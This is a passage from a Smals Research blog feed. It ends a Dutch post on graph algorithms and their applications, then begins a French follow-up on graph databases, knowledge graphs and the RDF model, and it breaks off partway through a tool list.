<figure class="wp-block-image size-large"><a href="/wp-content/uploads/2025/02/Adjacency.png"><img loading="lazy" decoding="async" width="1024" height="465" src="/wp-content/uploads/2025/02/Adjacency-1024x465.png" alt="" class="wp-image-21940" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/02/Adjacency-1024x465.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/02/Adjacency-300x136.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/02/Adjacency-768x349.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/02/Adjacency.png 1089w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figuur 1: Matrixvoorstelling van een gewogen gerichte graph.</figcaption></figure>


<p>Hier gaat een boog van gewicht 3 van node 1 naar node 3 en een boog van gewicht 5 in de tegenovergestelde richting. De matrix A bevat daarom de waarde 3 op positie (1,3) en de waarde 5 op positie (3,1).</p>
<p>Merk op dat adjacency matrices vaak grotendeels nullen bevatten en daarom over het algemeen worden gecodeerd met behulp van <em>sparse matrices</em> om het geheugen te optimaliseren.</p>
<p>Deze voorstelling van een graph in matrixvorm maakt het veel eenvoudiger om algoritmes op de graph te gebruiken, aangezien veel graphalgoritmes, die soms complex zijn in de vorm van vergelijkingen, vaak gereduceerd kunnen worden tot een reeks elementaire matrixbewerkingen. Dit maakt hun uitvoering zeer efficiënt in wetenschappelijke programmeertalen die geoptimaliseerd zijn voor matrixberekeningen, zoals R, MATLAB, Julia of Python (numpy, scipy).</p>


<h2 class="wp-block-heading">Gebruiken van graphalgoritmes en praktische toepassingen</h2>


<p>Om het nut van een graph beter te begrijpen, kijken we eerst naar de hoofdcategorieën van graphalgoritmes, met voor elke categorie een paar voorbeelden van het praktische gebruik ervan.</p>


<ul class="wp-block-list">
<li>Het optimale pad bepalen om een paar nodes te verbinden.</li>
</ul>


<p>Hierbij kan het gaan om het minimaliseren van het aantal overgangen dat nodig is om van de ene node naar de andere te gaan of, als er kosten zijn verbonden aan elke boog, het vinden van het pad met de laagste kosten. De kosten kunnen gedefinieerd worden als het gewicht van een boog, of gecodeerd worden in een tweede matrix (kostenmatrix, onafhankelijk van de adjacency matrix). De manier waarop de kosten van een boog worden bepaald hangt af van de toepassing, afhankelijk van wat je wilt minimaliseren. Dit kan bijvoorbeeld een maat voor de lengte van de boog zijn (de lengte van een weg), een maat voor de tijd (de tijd die nodig is om de boog over te steken) of financiële kosten. Dit type algoritme kan worden gebruikt in de logistiek om transport te optimaliseren. De bekendste algoritmes zijn de algoritmes <a href="https://en.wikipedia.org/wiki/Dijkstra%27s_algorithm">Dijkstra</a>, <a href="https://en.wikipedia.org/wiki/A*_search_algorithm">A*</a> en <a href="https://en.wikipedia.org/wiki/Bellman%E2%80%93Ford_algorithm">Bellman-Ford</a>.</p>


<ul class="wp-block-list">
<li>Maatstaven bepalen voor gelijkenis of afstand tussen nodes in een graph.</li>
</ul>


<p>Afhankelijk van de context kan het nuttig zijn om een similariteitsmaat te bepalen tussen twee nodes in een graph om te bepalen hoe dicht ze bij elkaar liggen. Similariteitsmaten worden vaak gebruikt in aanbevelingstoepassingen. Door een consumptiegraph te ontwerpen die gebruikers koppelt aan de producten die ze hebben geconsumeerd, maakt het meten van de similariteit tussen nodes het voor een bepaalde gebruiker mogelijk om gebruikers met een gelijkaardig consumptieprofiel te identificeren, gebaseerd op hun connecties met de producten. Een product wordt meestal aanbevolen aan een gebruiker omdat het door veel vergelijkbare gebruikers is geconsumeerd (<em>user-based recommendation</em>) of omdat het product vergelijkbaar is met producten die de gebruiker al heeft geconsumeerd (<em>item-based recommendation</em>). De bekendste similariteitsmaten zijn over het algemeen gebaseerd op <em>common-neighbour</em> maten (het aantal buren dat twee nodes gemeen hebben), zoals de Jaccard-index of cosinus-similariteit, maar andere methoden houden ook rekening met indirecte buren, zoals de Katz-kernel [<a href="#footnote-12">12</a>] (ook bekend als de “von Neumann kernel”). Zie [<a href="#footnote-13">13</a>] voor enkele klassieke similariteitsmaten en het gebruik ervan in aanbevelingen.</p>
<p>Het tegenovergestelde van een similariteitsmaat is een dissimilariteitsmaat, die toeneemt naarmate twee nodes verder van elkaar verwijderd zijn. Een afstandsmaat is per definitie een dissimilariteit, omdat deze toeneemt naarmate twee nodes verder van elkaar verwijderd zijn. De bekendste en meest intuïtieve maat voor dissimilariteit tussen twee nodes is de lengte van het kortste pad tussen hen.</p>


<ul class="wp-block-list">
<li>De centraliteit meten.</li>
</ul>


<p>Een maat voor de centraliteit van een node of boog, soms ook een <em>prestige measure</em> genoemd, wordt gebruikt om te kwantificeren hoe belangrijk een node of boog is binnen een graph. De bekendste maat voor centraliteit is de score die wordt berekend door het algoritme PageRank [<a href="#footnote-14">14</a>]. PageRank werd oorspronkelijk ontwikkeld en gebruikt door de zoekmachine Google om webpagina&#8217;s te rangschikken. Het is gebaseerd op een willekeurige beweging in een graph waarin elke node een webpagina voorstelt en elke gerichte boog een hyperlink tussen twee pagina&#8217;s voorstelt. Het PageRank-algoritme kent naast het rangschikken van webpagina&#8217;s heel wat andere toepassingen:</p>
<blockquote>
<p>“<em>Google’s PageRank method was developed to evaluate the importance of web-pages via their link structure. The mathematics of PageRank, however, are entirely general and apply to any graph or network in any domain. Thus, PageRank is now regularly used in bibliometrics, social and information network analysis, and for link prediction and recommendation. It’s even used for systems analysis of road networks, as well as biology, chemistry, neuroscience, and physics.</em>” – Gleich (2014) [<a href="#footnote-15">15</a>]
</blockquote>
<p>Een ander bekend algoritme dat lijkt op PageRank is het HITS-algoritme (Hyperlink-Induced Topic Search) [<a href="#footnote-16">16</a>].</p>
<p>Als we het over centraliteit hebben, is PageRank vaak het algoritme dat wordt voorgesteld, maar centraliteit kan op verschillende manieren worden begrepen. Het kan bijvoorbeeld verwijzen naar een node of boog die een kritieke intermediair is voor communicatie en informatieoverdracht binnen het netwerk. Centrale nodes identificeren kan het bijvoorbeeld mogelijk maken om informatie optimaal te verspreiden in een netwerk of om nodes of bogen op te sporen die van vitaal belang zijn voor de graph (waarvan de verdwijning de informatieoverdracht in de graph ernstig zou belemmeren). Veel voorkomende maatstaven voor node- of boog-centraliteit op basis van dit principe gebruiken over het algemeen tussen-maatstaven (<em>betweenness centrality</em>).</p>
<p>Centraliteit kan ook worden beschouwd als een maat voor de representativiteit van een node binnen een gemeenschap (in termen van nabijheid tot de andere nodes in de graph), in dit geval gemeten door middel van een maat van nabijheid (<em>closeness centrality</em>). Merk op dat we het gebruik van verschillende centraliteitsalgoritmes in een fraudedetectiecontext al hebben vermeld in eerdere blogposts, met name PageRank (in de vorm van een verspreidingsalgoritme) [<a href="#footnote-7">7</a>] en betweenness centrality [<a href="#footnote-8">8</a>].</p>


<ul class="wp-block-list">
<li>De graph partitioneren.</li>
</ul>


<p>Beter bekend als “<em>clustering</em>”, bestaat graph partitioning uit het groeperen van nodes in communities (clusters) zodat nodes binnen een community “similair” zijn en twee nodes die tot verschillende communities behoren “dissimilair” zijn. Dit partitioneren kan op verschillende manieren gebeuren. Door bijvoorbeeld een maat voor similariteit of dissimilariteit tussen de nodes in de graph te gebruiken en vervolgens een clusteralgoritme zoals k-medoids uit te voeren op basis van deze (dis)similariteiten.</p>
<p>Een andere manier is om direct op de graph te werken en te proberen dichte gebieden binnen de graph te detecteren. Dit kan worden gedaan met behulp van labelpropagatie [<a href="#footnote-17">17</a>], of door het optimaliseren van een objectieve functie die de kwaliteit van de partitionering meet, zoals modulariteit. Het bekendste algoritme voor modulariteitsoptimalisatie is de Louvain-methode [<a href="#footnote-18">18</a>].</p>


<figure class="wp-block-image aligncenter size-full"><a href="/wp-content/uploads/2025/01/image-2.png"><img loading="lazy" decoding="async" width="508" height="444" src="/wp-content/uploads/2025/01/image-2.png" alt="" class="wp-image-21743" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/01/image-2.png 508w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-2-300x262.png 300w" sizes="auto, (max-width: 508px) 100vw, 508px" /></a><figcaption class="wp-element-caption">Figuur 2: Voorbeeld van een eenvoudige graph met 3 communities.</figcaption></figure>


<p>We hebben het gebruik van ‘graph partitioning’-methodes al genoemd in verschillende blogposts [<a href="#footnote-9">9</a>, <a href="#footnote-10">10</a>]. Deze algoritmes worden met name gebruikt in communicatie en marketing om gerichte advertenties te produceren.</p>


<ul class="wp-block-list">
<li>Kenmerken of representaties extraheren.</li>
</ul>


<p>De traditionele modellen voor <em>machine learning</em> hebben als limiet dat ze alleen rekening houden met de gegevens (continue en categorische variabelen) die betrekking hebben op de waarnemingen, en de informatie negeren die kan worden afgeleid uit de relaties tussen de waarnemingen. Indien er relaties bestaan tussen deze gegevens, kan er een graph worden geconstrueerd en kunnen de machine learning modellen worden verrijkt door nieuwe variabelen uit de graph toe te voegen (er is ook een blogpost over dit onderwerp [<a href="#footnote-11">11</a>]). Deze nieuwe variabelen kunnen bijvoorbeeld een maat voor centraliteit zijn (continue variabele) of het resultaat van partitionering (categorische variabele), of ze kunnen worden verkregen met behulp van ‘graph embedding’-methoden (continue variabelen). Graph embedding moet leiden tot een representatie van de nodes in een multidimensionale ruimte. Deze ruimte wordt zo berekend dat als twee nodes dicht bij elkaar liggen in de graph, ze ook dicht bij elkaar liggen in deze ruimte. Zo&#8217;n ruimte kan worden verkregen met methoden die direct op de graph werken (node2vec [<a href="#footnote-19">19</a>], fastRP [<a href="#footnote-20">20</a>]) of door te werken op basis van bijvoorbeeld similariteiten (kernelPCA [<a href="#footnote-21">21</a>]) of afstanden (t-SNE [<a href="#footnote-22">22</a>]). Zie figuur 3 voor een voorbeeld van een tweedimensionale weergave van een eenvoudige gewogen graph.</p>


<figure class="wp-block-image size-large"><a href="/wp-content/uploads/2025/02/Representation_NL.png"><img loading="lazy" decoding="async" width="1024" height="651" src="/wp-content/uploads/2025/02/Representation_NL-1024x651.png" alt="" class="wp-image-21939" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/02/Representation_NL-1024x651.png 1024w, https://www.smalsresearch.be/wp-content/uploads/2025/02/Representation_NL-300x191.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/02/Representation_NL-768x489.png 768w, https://www.smalsresearch.be/wp-content/uploads/2025/02/Representation_NL.png 1050w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></a><figcaption class="wp-element-caption">Figuur 3: Weergave van een graph in een 2-dimensionale ruimte met behulp van node2vec (boven) en t-SNE (onder)</figcaption></figure>



<ul class="wp-block-list">
<li>Links voorspellen.</li>
</ul>


<p>Het concept van linkvoorspelling is relatief eenvoudig: het gaat om het inschatten van de waarschijnlijkheid dat er een link bestaat tussen twee nodes. Dit maakt het mogelijk om potentieel ontbrekende bogen (incomplete graph) te detecteren, of om het verschijnen van nieuwe bogen te voorspellen. Aanbevelingsalgoritmes zijn een veelvoorkomend voorbeeld van het voorspellen van links tussen gebruikers en producten, maar deze algoritmes kunnen ook worden gebruikt om potentiële, nog onbekende interacties binnen biologische netwerken te detecteren. Dit type voorspelling wordt vaak verricht met behulp van methoden gebaseerd op overeenkomsten tussen nodes, matrixfactorisatie, probabilistische modellen of kunstmatige neurale netwerken [<a href="#footnote-23">23</a>].</p>


<ul class="wp-block-list">
<li></li>
</ul>



<h2 class="wp-block-heading">Welke hulpmiddelen?</h2>


<p>Zoals hierboven vermeld betekent de weergave van graphs in matrixvorm dat ze efficiënt gebruikt kunnen worden in wetenschappelijke programmeertalen. Er bestaan echter ook library&#8217;s of softwares die gebruikt kunnen worden om graphs te creëren en te exploiteren.</p>
<p>Enkele voorbeelden van library&#8217;s voor het werken met graphs. Deze library&#8217;s kunnen worden gebruikt om een graph object te maken dat op verschillende manieren kan worden opgebouwd. Het kan leeg worden opgebouwd, voordat handmatig nodes en bogen worden toegevoegd, of vanuit een adjacency matrix of een lijst van bogen, of rechtstreeks vanuit bestanden die een beschrijving van de graph bevatten in de vorm van een lijst van nodes en bogen. Voorbeelden van graph-georiënteerde library’s zijn igraph, NetworkX, graph-tool of NetworKit voor Python, igraph voor R en Graphs voor Julia.</p>
<p>Voor gebruikers die al een van deze talen kennen, hebben deze library&#8217;s het voordeel dat ze intuïtief en gemakkelijk te leren zijn en veel voorgeïmplementeerde graph algoritmes bevatten.</p>


<h2 class="wp-block-heading">Conclusie</h2>


<p>In het eerste deel van deze blogpost hebben we ons toegespitst op de verschillende graph tools, we hebben de graphtheorie kort ingeleid, alsook de voornaamste toepassingen en algoritmes voor graphs. Het <a href="/graphtechnologieen-toepassingen-en-tools-2/">tweede deel</a> richt zich op graph databases en knowledge graphs, het verschil tussen deze concepten en de bijbehorende tools.</p>


<h2 class="wp-block-heading">Referenties</h2>


<p>Enkele blogposts van Smals Research over graphs:</p>
<p id="footnote-1">[1] <a href="/graph-db-vs-rdbms/">Graph DB vs RDBMS</a></p>
<p id="footnote-2">[2] <a href="/sept-bonnes-raisons-dutiliser-une-graph-database/">Sept (bonnes) raisons d’utiliser une Graph Database</a></p>
<p id="footnote-3">[3] <a href="/een-graph-database-verkennen/">Een graph database verkennen</a></p>
<p id="footnote-4">[4] <a href="/les-graphes-de-connaissance-incontournable-pour-lintelligence-artificielle-2/">Les graphes de connaissance, incontournable pour l’intelligence artificielle</a></p>
<p id="footnote-5">[5] <a href="/les-graphes-de-connaissance-quelques-applications/">Les graphes de connaissance&nbsp;: quelques applications</a></p>
<p id="footnote-6">[6] <a href="/smalls-kg-checklist/">Smals KG Checklist: déterminer si un graphe de connaissances peut résoudre un problème concret</a></p>
<p id="footnote-7">[7] <a href="/un-fraudeur-ne-fraude-jamais-seul/">Un fraudeur ne fraude jamais seul</a></p>
<p id="footnote-8">[8] <a href="/un-fraudeur-ne-fraude-jamais-seul-partie-2/">Un fraudeur ne fraude jamais seul, partie 2</a></p>
<p id="footnote-9">[9] <a href="/ce-quun-reseau-social-peut-nous-apprendre/">Ce qu’un réseau social peut nous apprendre</a></p>
<p id="footnote-10">[10] <a href="/facebook-peut-on-vraiment-cacher-sa-liste-damis/">Facebook&nbsp;: peut-on vraiment cacher sa liste d’amis&nbsp;?</a></p>
<p id="footnote-11">[11] <a href="/ameliorer-le-machine-learning-avec-des-donnees-graphes/">Améliorer le Machine Learning avec des données graphes</a></p>
<p>Wetenschappelijke bronnen:</p>
<p id="footnote-12">[12] Katz, L. (1953). A new status index derived from sociometric analysis. Psychometrika, 18(1), 39-43.</p>
<p id="footnote-13">[13] Fouss, F., Pirotte, A., Renders, J. M., &amp; Saerens, M. (2007). Random-walk computation of similarities between nodes of a graph with application to collaborative recommendation. IEEE Transactions on knowledge and data engineering, 19(3), 355-369.</p>
<p id="footnote-14">[14] Page, L., Brin, S., Motwani, R., &amp; Winograd, T. (1998). The pagerank citation ranking: Bringing order to the web. Technical report, Stanford Digital Libraries.</p>
<p id="footnote-15">[15] Gleich, D. F. (2015). PageRank beyond the web. siam REVIEW, 57(3), 321-363.</p>
<p id="footnote-16">[16] Kleinberg, J. M. (1999). Authoritative sources in a hyperlinked environment. Journal of the ACM (JACM), 46(5), 604-632.</p>
<p id="footnote-17">[17] Raghavan, U. N., Albert, R., &amp; Kumara, S. (2007). Near linear time algorithm to detect community structures in large-scale networks. Physical Review E—Statistical, Nonlinear, and Soft Matter Physics, 76(3), 036106.</p>
<p id="footnote-18">[18] Blondel, V. D., Guillaume, J. L., Lambiotte, R., &amp; Lefebvre, E. (2008). Fast unfolding of communities in large networks. Journal of statistical mechanics: theory and experiment, 2008(10), P10008.</p>
<p id="footnote-19">[19] Grover, A., &amp; Leskovec, J. (2016). node2vec: Scalable feature learning for networks. In Proceedings of the 22nd ACM SIGKDD international conference on Knowledge discovery and data mining (pp. 855-864).</p>
<p id="footnote-20">[20] Chen, H., Sultan, S. F., Tian, Y., Chen, M., &amp; Skiena, S. (2019, November). Fast and accurate network embeddings via very sparse random projection. In Proceedings of the 28th ACM international conference on information and knowledge management (pp. 399-408).</p>
<p id="footnote-21">[21] Schölkopf, B., &amp; Smola, A. J. (2002). Learning with kernels: support vector machines, regularization, optimization, and beyond.</p>
<p id="footnote-22">[22] Van der Maaten, L., &amp; Hinton, G. (2008). Visualizing data using t-SNE. Journal of machine learning research, 9(11).</p>
<p id="footnote-23">[23] Lü, L., &amp; Zhou, T. (2011). Link prediction in complex networks: A survey. Physica A: statistical mechanics and its applications, 390(6), 1150-1170.</p>
<hr />
<p><em>Dit is een ingezonden bijdrage van Pierre Leleux, data scientist et network data analyst bij Smals Research. Dit artikel werd geschreven in eigen naam en neemt geen standpunt in namens Smals.</em></p>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Les technologies graphes, leurs applications et leurs outils: un tour d’horizon (Partie 2)</title>
		<link>https://www.smalsresearch.be/graphes_applications_et_outils_2/</link>
		
		<dc:creator><![CDATA[Pierre Leleux]]></dc:creator>
		<pubDate>Thu, 06 Feb 2025 10:00:00 +0000</pubDate>
				<category><![CDATA[[FR]]]></category>
		<category><![CDATA[Blog post]]></category>
		<category><![CDATA[analytics]]></category>
		<category><![CDATA[Graph Databases]]></category>
		<category><![CDATA[Information management]]></category>
		<category><![CDATA[Knowledge Graph]]></category>
		<category><![CDATA[Machine Learning]]></category>
		<category><![CDATA[methodology]]></category>
		<guid isPermaLink="false">/?p=21755</guid>

					<description><![CDATA[Cette seconde partie est consacrée aux bases de données orientées graphe et aux graphes de connaissances.]]></description>
										<content:encoded><![CDATA[
<p><a href="/graphtechnologieen-toepassingen-en-tools-2/"><em>Nederlandstalige versie</em></a></p>



<p>Cet article fait suite à la <a href="/graphes_applications_et_outils/">Partie 1</a>, qui présente les fondamentaux des technologies graphes, algorithmes et applications. Cette seconde partie est consacrée aux bases de données orientées graphe et aux graphes de connaissances, leurs différences et leurs outils.</p>



<h2 class="wp-block-heading">Les bases de données orientées graphe</h2>



<p>A l’instar d’une base de données relationnelle, l’objectif d’une base de données orientée graphe est de pouvoir stocker et gérer des données de manière persistante et d’effectuer des requêtes complexes. La différence étant que les données sont stockées sous la forme d’un graphe, à savoir un ensemble de nœuds interconnectés par le biais d’arcs.</p>
<p>Les bases de données orientées graphe ont plusieurs avantages par rapport aux bases de données relationnelles classiques, car le modèle de graphe permet une traversée simple et optimisée des données via les arcs, là où l’exploration de relations dans une base de données relationnelle peut demander un nombre important de jointures. Plus de détails sur les avantages des bases de données orientées graphe, ainsi que les cas de figure où les utiliser, se trouvent dans les articles de blog [<a href="#footnote-1">1</a>] et [<a href="#footnote-2">2</a>].</p>
<p>Les trois composants de toute base de données orientée graphe sont&nbsp;: nœuds, arcs et propriétés. Ces propriétés peuvent être placées soit sur les nœuds, soit sur les arcs, ou sur les deux. Si nous considérons le petit exemple illustratif dans la Figure 1, le nœud « Paul » peut par exemple être associé à des propriétés telles que sa date de naissance et son adresse, pour les nœuds représentant des films on peut y associer les propriétés telles que l’année de sortie, le budget et son identifiant IMDb, et sur les relations « A_VU » entre un utilisateur et un film, on pourrait associer des propriétés telles que la date de visionnage et la note (sur 5) que l’utilisateur donne au film.</p>



<figure class="wp-block-image aligncenter size-full"><a href="/wp-content/uploads/2025/01/image-4.png"><img loading="lazy" decoding="async" width="940" height="395" src="/wp-content/uploads/2025/01/image-4.png" alt="" class="wp-image-21758" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/01/image-4.png 940w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-4-300x126.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-4-768x323.png 768w" sizes="auto, (max-width: 940px) 100vw, 940px" /></a><figcaption class="wp-element-caption">Figure 1&nbsp;: Exemple de nœuds et d’arcs avec des propriétés dans Neo4J.</figcaption></figure>



<p>Il est à noter que les algorithmes de graphe que nous avons présentés dans la <a href="/graphes_applications_et_outils/">Partie 1</a> ne sont souvent que peu ou pas implémentés dans les logiciels de bases de données orientées graphe, à quelques exceptions près (Neo4j et TigerGraph disposent d’une libraire « Graph Data Science (GDS) » contenant plusieurs algorithmes). Il est donc généralement nécessaire d’exporter le graphe (ou une partie de celui-ci) vers un outil d’analyse.</p>



<h2 class="wp-block-heading">Les outils pour bases de données orientées graphe</h2>



<p>Passons rapidement en revue quelques-uns des outils les plus connus. Notez que tous les outils listés ci-après sont compatibles avec les propriétés <a href="https://fr.wikipedia.org/wiki/Propri%C3%A9t%C3%A9s_ACID">ACID</a>. Il existe un grand nombre d’outils pour la gestion de base de données graphe, cet article n’en mentionne qu’une partie. N’hésitez pas à aller jeter un coup d’œil à une liste plus détaillée trouvable <a href="https://db-engines.com/en/ranking/graph+dbms">ici</a>.</p>
<ol>
<li>Neo4j</li>
</ol>
<p>Neo4j offre l’avantage d’avoir un format de graphe natif, ce qui rend très efficace la traversée du graphe (et donc, les requêtes). Les requêtes se font en Cypher, un langage facile à prendre en main, et Neo4J est bien documenté et dispose d’une grande communauté. Neo4J dans sa version « community » est gratuit, mais une version payante existe (Neo4j Enterprise), et la version gratuite peut poser quelques soucis de scalabilité face à de très grandes quantités de données.</p>
<ol start="2">
<li>ArangoDB</li>
</ol>
<p>ArangoDB propose un modèle de données flexible (multi-modèle), intégrant un modèle graphe, un modèle document (basé sur des objets JSON) et un modèle clé-valeur. Il dispose de son propre langage de requêtes AQL (Arango Query Language) qui peut être plus compliqué à prendre en main que Cypher en raison du multi-modèle sous-jacent à ArangoDB. C’est un logiciel payant, bien qu’une version open source existe (community edition), mais est (évidement) plus limitée que la version payante.</p>
<ol start="3">
<li>TigerGraph</li>
</ol>
<p>TigerGraph est un outil payant, optimisé pour pouvoir être utilisés sur de très grandes bases de données. Les requêtes se font via le langage GSQL, qui est un langage permettant d’effectuer de nombreuses tâches, mais plus compliqué à prendre en main que Cypher. TigerGraph dispose de nombreux algorithmes implémentés via la librairie GDS.</p>
<ol start="4">
<li>Memgraph</li>
</ol>
<p>Memgraph est un outil particulier en ce sens qu’il stocke les données directement en mémoire (dans la RAM). Cela lui permet d’avoir des très hautes performances pour le requêtage, mais en contrepartie cela rend son utilisation difficile, ou du moins coûteuse en termes d’infrastructure, lorsque le graphe est de grande taille, puisqu’il faut avoir suffisamment de RAM que pour stocker les données. Memgraph s’utilise donc généralement lorsque les performances sont la première priorité. Les requêtes se font en Cypher.</p>
<ol start="5">
<li>GraphDB</li>
</ol>
<p>GraphDB utilise un modèle de graphe bien spécifique appelé Resource Description Framework (RDF). Ce framework, qui sera discuté un peu plus en détails dans la section relative aux graphes de connaissances, a son langage de requête propre nommé SPARQL. Il existe en version gratuite open-source (graphDB Free) et en version entreprise payante (graphDB Enterprise).</p>
<ol start="6">
<li>Apache TinkerPop et ses implémentations</li>
</ol>
<p>Il s’agit d’un framework open-source qui vise à définir un modèle de base de données graphes, ainsi qu’un langage de requête nommé « Gremlin ». Il est utilisé dans de nombreux logiciels de gestion de base de données orientées graphe, tels que JanusGraph (un logiciel open-source), Amazon Neptune qui propose d’autres modèles que celui de TinkerPop tels que RDF, ou encore des outils de gestion de base de données non spécialisés en graphe, tels qu’Azure Cosmos DB.</p>



<h2 class="wp-block-heading">Les graphes de connaissances</h2>



<p>Avant de s’intéresser aux pratiques et outils, commençons dans un premier temps par définir ce qu’est un graphe de connaissances et ce qui le distingue d’une base de données orientée graphe. Il s’agit d’un graphe qui met l’accent sur la sémantique et sur l’inférence. Chaque nœud représente un concept et chaque arc une relation. Comme nous l’avons déjà vu dans les articles de blog [<a href="#footnote-3">3</a>, <a href="#footnote-4">4</a>], un graphe de connaissances se définit comme un graphe remplissant trois conditions [<a href="#footnote-5">5</a>]&nbsp;:</p>
<ol>
<li>L’intégration d’informations en provenance de différentes sources hétérogènes.</li>
</ol>
<p>Un graphe de connaissances rassemble et combine des données issues de diverses sources (structurées ou non) de manière cohérente.</p>
<ol start="2">
<li>L’utilisation d’une ontologie.</li>
</ol>
<p>Une ontologie décrit de façon formelle les concepts et les relations présentes dans le graphe, ainsi que les éventuelles contraintes et règles. Il s’agit donc d’un modèle structuré qui fournit les fondations sémantiques afin de permettre des opérations de raisonnement et des tests de cohérence. Par exemple, un schéma d’ontologie (voir Figure 2), également appelé graphe ontologique, fournit une représentation des types d&#8217;entités et des relations d’un graphe de connaissances, fournissant ainsi une structure conceptuelle sans contenir de données spécifiques.</p>



<figure class="wp-block-image aligncenter size-full"><a href="/wp-content/uploads/2025/01/image-5.png"><img loading="lazy" decoding="async" width="872" height="559" src="/wp-content/uploads/2025/01/image-5.png" alt="" class="wp-image-21761" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/01/image-5.png 872w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-5-300x192.png 300w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-5-768x492.png 768w" sizes="auto, (max-width: 872px) 100vw, 872px" /></a><figcaption class="wp-element-caption">Figure 2&nbsp;: Exemple de schéma d’ontologie</figcaption></figure>



<ol start="3">
<li>L’inférence d’informations implicites sur base d’informations explicites.</li>
</ol>
<p>Il est possible de trouver des informations qui n’étaient pas présentes dans les données initiales sur base de règles d’inférence (Voir Figure 3).</p>



<figure class="wp-block-image aligncenter size-full"><a href="/wp-content/uploads/2025/01/image-6.png"><img loading="lazy" decoding="async" width="748" height="287" src="/wp-content/uploads/2025/01/image-6.png" alt="" class="wp-image-21762" srcset="https://www.smalsresearch.be/wp-content/uploads/2025/01/image-6.png 748w, https://www.smalsresearch.be/wp-content/uploads/2025/01/image-6-300x115.png 300w" sizes="auto, (max-width: 748px) 100vw, 748px" /></a><figcaption class="wp-element-caption">Figure 3&nbsp;: Exemple d’inférence. Tiré d’un précédent <a href="/les-graphes-de-connaissance-incontournable-pour-lintelligence-artificielle-2/">article de blog</a>.</figcaption></figure>



<h2 class="wp-block-heading">Un aperçu du modèle RDF (Resource Description Framework)</h2>



<p>Initialement conçu pour la description formelle de ressources web et leurs métadonnées, le modèle RDF est fréquemment utilisé pour les graphes de connaissances car il permet un raisonnement sémantique robuste et une très grande interopérabilité.</p>
<p>Un document en RDF prend la forme d’un ensemble de <strong>triplets RDF</strong>, chaque triplet est une association&nbsp;: sujet (ressource à décrire), prédicat (propriété de la ressource), objet (donnée ou autre ressource).</p>
<p>Par exemple&nbsp;:</p>
<p><code>:Alice&nbsp;:knows&nbsp;:Bob .<br />:Alice&nbsp;:livesIn&nbsp;:Paris .<br />:Alice&nbsp;:age 30 .</code></p>
<p>Ces triplets représentent donc aussi bien des relations entre nœuds (par exemple : la relation entre Alice et Bob) que des propriétés (l’âge d’Alice).</p>
<p>Une spécificité de RDF est qu’il nécessite que chaque élément d’un triplet (à l’exception de l’objet s’il s’agit d’une valeur simple, tel que la valeur 30 pour l’âge d’Alice) soit identifié par un URI (<em>Uniform Resource Identifier</em>) ou IRI (<em>Internationalized Resource Identifier</em>). Cela permet une grande interopérabilité car cela évite la création de doublons lorsque plusieurs sources d’information sont combinées. Si nous reprenons les triplets utilisés précédemment, nous obtenons le fragment suivant (en langage turtle) :</p>
<p><code>&lt;http://example.org/Alice&gt; &lt;http://example.org/knows&gt; &lt;http://example.org/Bob&gt; .<br />&lt;http://example.org/Alice&gt; &lt;http://example.org/livesIn&gt; &lt;http://example.org/Paris&gt; .<br />&lt;http://example.org/Alice&gt; &lt;http://example.org/age&gt; "30"^^&lt;http://www.w3.org/2001/XMLSchema#integer&gt; .</code></p>
<p>L&#8217;utilisation de RDF implique donc d’avoir un URI afin de pouvoir identifier tous les concepts (sujets, prédicats et objets) du graphe à l’instar d’une clé primaire dans les bases de données relationnelles.</p>
<p>De plus, il existe deux outils permettant d’ajouter de la signification sémantique aux données RDF, en décrivant les relations afin de permettre le raisonnement, à savoir RDFS (<em>RDF Schema</em>) et OWL (<em>Web Ontology Language</em>). Comme nous l’avons vu, RDF impose que chaque concept soit identifié par un URI. RDFS et OWL fournissent un ensemble prédéfini d’URI pour des concepts fréquemment utilisés, auxquels on peut faire référence dans RDF. Ceci permet d’une part d’avoir un vocabulaire commun standardisé, ce qui facilite l’intégration d’autres bases de données, et d’autre part d’établir des règles d’inférence. En effet, puisque OWL et RDFS proposent des <strong>concepts standardisés</strong>, cela permet à des « raisonneurs » basés sur OWL (tels que FaCT++ ou HermiT) d’inférer les relations implicites de façon systématique ou de détecter des contradictions, sur base de l’ontologie.</p>
<p>Les requêtes sur une base de données RDF se font via SPARQL.</p>



<h2 class="wp-block-heading">Les alternatives à RDF, et les outils pour travailler avec un graphe de connaissances</h2>



<p>Bien évidemment, un graphe de connaissances ne nécessite pas forcément l’utilisation du modèle RDF. Un graphe sera considéré comme graphe de connaissances tant que les 3 conditions décrites en début de section sur les graphes de connaissances sont remplies. Il est donc parfaitement possible de créer un graphe de connaissances dans un outil classique de gestion de base de données orientée graphe, tant que l’implémentation combine des données de plusieurs sources, qu’elle est conforme à une ontologie et qu’elle peut être utilisée pour de l’inférence sémantique.</p>
<p>La principale force du modèle RDF est son niveau de standardisation élevé. D’une part, via son exigence d’identification par URI, ainsi que son vocabulaire et son langage de requête standardisés, elle permet une haute interopérabilité. D’autre part, les extension RDFS et OWL permettent d’offrir une richesse sémantique rendant possible un raisonnement automatique. En contrepartie, sa complexité limite son adoption dans des applications business où cette rigueur sémantique n’est pas forcément nécessaire et où l’utilisation d’un modèle de graphe plus simple (tel que Neo4j ou TigerGraph) suffit. L’utilisation de modèles plus simples offre l’avantage d’être plus facile et rapide à mettre en place et d’offrir des performances de requêtage optimisées, mais au prix de la perte de la richesse sémantique offerte par RDF.</p>
<p>Cette section présente des outils (de façon non exhaustive) relatifs à RDF mais, comme mentionné, les outils précédemment cités pour les bases de données orientées graphe restent valides pour créer un graphe de connaissances tant que les <strong>conditions</strong> sont remplies.</p>
<p>Voici une liste de quelques outils liés aux graphes de connaissances en RDF :</p>
<ul>
